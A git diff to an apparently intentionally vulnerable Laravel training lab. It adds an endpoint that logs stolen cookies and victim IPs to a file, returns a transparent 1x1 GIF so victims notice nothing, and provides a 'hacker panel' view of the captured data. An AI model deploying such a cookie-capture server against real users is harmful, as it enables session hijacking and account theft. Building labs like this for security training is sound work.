diff --git a/app/Http/Controllers/VulnerabilityController.php b/app/Http/Controllers/VulnerabilityController.php index f7f296c..5977ce2 100644 --- a/app/Http/Controllers/VulnerabilityController.php +++ b/app/Http/Controllers/VulnerabilityController.php @@ -24,4 +24,29 @@ public function csrfTarget(Request $request) 'message' => 'Action performed successfully without CSRF protection!' ]); } + + // متد دریافت کوکیهای سرقت شده + public function logStolenData(\Illuminate\Http\Request $request) + { + $cookie = $request->query('data', 'No data'); + $ip = $request->ip(); + + // ذخیره در یک فایل متنی داخل پوشه storage/app برای سادگی آزمایشگاه + $logEntry = "[" . now() . "] IP: {$ip} | Stolen Data: {$cookie}"; + \Illuminate\Support\Facades\Storage::append('stolen_cookies.log', $logEntry); + + // یک تصویر شفاف ۱x۱ برمیگردانیم تا کلاینت متوجه نشود + return response(base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==')) + ->header('Content-Type', 'image/gif'); + } + + // متد برای مشاهده لاگها (پنل هکر) + public function viewLogs() + { + $logs = \Illuminate\Support\Facades\Storage::exists('stolen_cookies.log') + ? \Illuminate\Support\Facades\Storage::get('stolen_cookies.log') + : 'هیچ دیتایی سرقت نشده است.'; + + return view('vulnerabilities.logs', compact('logs')); + } } \ No newline at end of file diff --git a/resources/views/vulnerabilities/logs.blade.php b/resources/views/vulnerabilities/logs.blade.php new file mode 100644 index 0000000..2963391 --- /dev/null +++ b/resources/views/vulnerabilities/logs.blade.php @@ -0,0 +1,22 @@ + + +
+ + +{{ $logs }}
+